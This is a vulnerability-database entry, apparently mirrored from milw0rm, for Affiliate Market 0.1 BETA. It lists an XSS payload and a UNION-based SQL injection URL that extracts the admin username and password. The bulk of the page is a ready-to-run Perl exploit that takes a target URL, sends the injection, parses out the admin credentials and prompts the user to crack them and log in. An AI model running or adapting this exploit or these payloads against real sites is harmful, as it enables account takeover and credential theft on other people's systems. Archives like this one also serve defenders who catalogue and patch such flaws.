Lucene search
K

Affiliate Market Ver.0.1 BETA XSS / SQL Injection Exploit

🗓️ 14 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Affiliate Market Ver.0.1 BETA XSS / SQL Injection Exploit. Remote vulnerabilities in Affiliate Market Ver.0.1 BETA can be exploited for SQL Injection and XSS attacks. Vulnerable script can be accessed at http://kent.dl.sourceforge.net/sourceforge/affmarket/affmarket.30.03.07.zip. XSS vulnerability is present at http://Target/function/sideblock.php?sideblock4=<script>alert(document.cookie);</script>. SQL Injection vulnerability exists at http://Target/shop/detail.php?id=-1%27union/**/select/**/0,1,2,3,CoNcAt(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,pass,0x3c656e64706173733e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,20/**/from/**/admin/

Code

                                                #!/usr/bin/perl
#####################################################################################
####                     Affiliate Market Ver.0.1 BETA                           ####
####          Multiple Remote Vulnerabilities (SQL Injection Exploit/XSS)        ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH                                                                   #
#Discovered by : Dr.Crash                                                           #
#Exploited By : Dr.Crash                                                            #
#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm                               #
#                                                                                   #
#####################################################################################
#                                                                                   #
#Script Download : http://kent.dl.sourceforge.net/sourceforge/affmarket/affmarket.30.03.07.zip
#                                                                                   #
#####################################################################################
#                                   &lt; XSS &gt;                                         #
#XSS Address : http://Target/function/sideblock.php?sideblock4=&lt;script&gt;alert(document.cookie);&lt;/script&gt;
#                                                                                   #
#####################################################################################
#                                   &lt; SQL &gt;                                         #
#SQL Address : http://Target/shop/detail.php?id=/-1%27union/**/select/**/0,1,2,3,CoNcAt(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,pass,0x3c656e64706173733e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,20/**/from/**/admin/*
#                                                                                   #
#####################################################################################
#                         Our site : Http://IRCRASH.COM                             #
#####################################################################################

use LWP;
use HTTP::Request;
use Getopt::Long;
 
 
sub header
{
print &quot;
****************************************************
*Affiliate Market Ver.0.1BETA Sql Injection exploit*
****************************************************
*AUTHOR : IRCRASH                                  *
*Discovered by : Dr.Crash                          *
*Exploited by : Dr.Crash                           *
*Our Site : IRCRASH.COM                            *
****************************************************&quot;;
}
 
sub usage
{
  print &quot;
* Usage : perl $0 -url http://Sitename/
****************************************************
&quot;;
}                                                                                  
 
 
my %parameter = ();
GetOptions(\%parameter, &quot;url=s&quot;);
 
$url = $parameter{&quot;url&quot;};
 
if(!$url)
{
header();
usage();
exit;
}
if($url !~ /\//){$url = $url.&quot;/&quot;;}
if($url !~ /http:\/\//){$url = &quot;http://&quot;.$url;}
$vul = &quot;/shop/detail.php?id=-1%27union/**/select/**/0,1,2,3,CoNcAt(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,pass,0x3c656e64706173733e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,20/**/from/**/admin/*&quot;;
sub Exploit()
{
$requestpage = $url.$vul;
print &quot;Requesting Page is &quot;.$url.&quot;\n&quot;;
 
my $req  = HTTP::Request-&gt;new(&quot;POST&quot;,$requestpage);
$ua = LWP::UserAgent-&gt;new;
$ua-&gt;agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
$req-&gt;referer($url);
$req-&gt;referer(&quot;http://IRCRASH.COM&quot;);
$req-&gt;content_type('application/x-www-form-urlencoded');
$req-&gt;header(&quot;content-length&quot; =&gt; $contlen);
$req-&gt;content($poststring);
 
$response = $ua-&gt;request($req);
$content = $response-&gt;content;
$header = $response-&gt;headers_as_string();
 
#Debug Modus delete # at beginning of next line
#print $content;
 
@name = split(/Login:/,$content);
$name = @name[1];
@name = split(/&lt;enduser&gt;/,$name);
$name = @name[0];
 
@password = split(/Password:/,$content);
$password = @password[1];
@password = split(/&lt;endpass&gt;/,$password);
$password = @password[0];

if(!$name &amp;&amp; !$password)
{
print &quot;\n\n&quot;;
print &quot;[-] Exploit failed ! :(\n\n&quot;;
exit;
}
# Dr.Crash - IRCRASH - Expoit - Hack - Hacking - Hacker - Cracker - Crash - Iran
print &quot;Username: &quot;.$name.&quot;\n&quot;;
print &quot;Password: &quot; .$password.&quot;\n\n&quot;;
print &quot;[+] To Be Done SuccessFully\n\n&quot;;
print &quot;Crack Password And Login In : $url/admin/\n&quot;;
print &quot;Enjoy My friend .....\n&quot;;
 
}
 
#Starting;
print &quot;
****************************************************
*Affiliate Market Ver.0.1BETA Sql Injection exploit*
****************************************************
*AUTHOR : IRCRASH                                  *
*Discovered by : Dr.Crash                          *
*Exploited by : Dr.Crash                           *
*Our Site : IRCRASH.COM                            *
****************************************************&quot;;
print &quot;\n\nExploiting...\n&quot;;
Exploit();

# milw0rm.com [2008-02-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation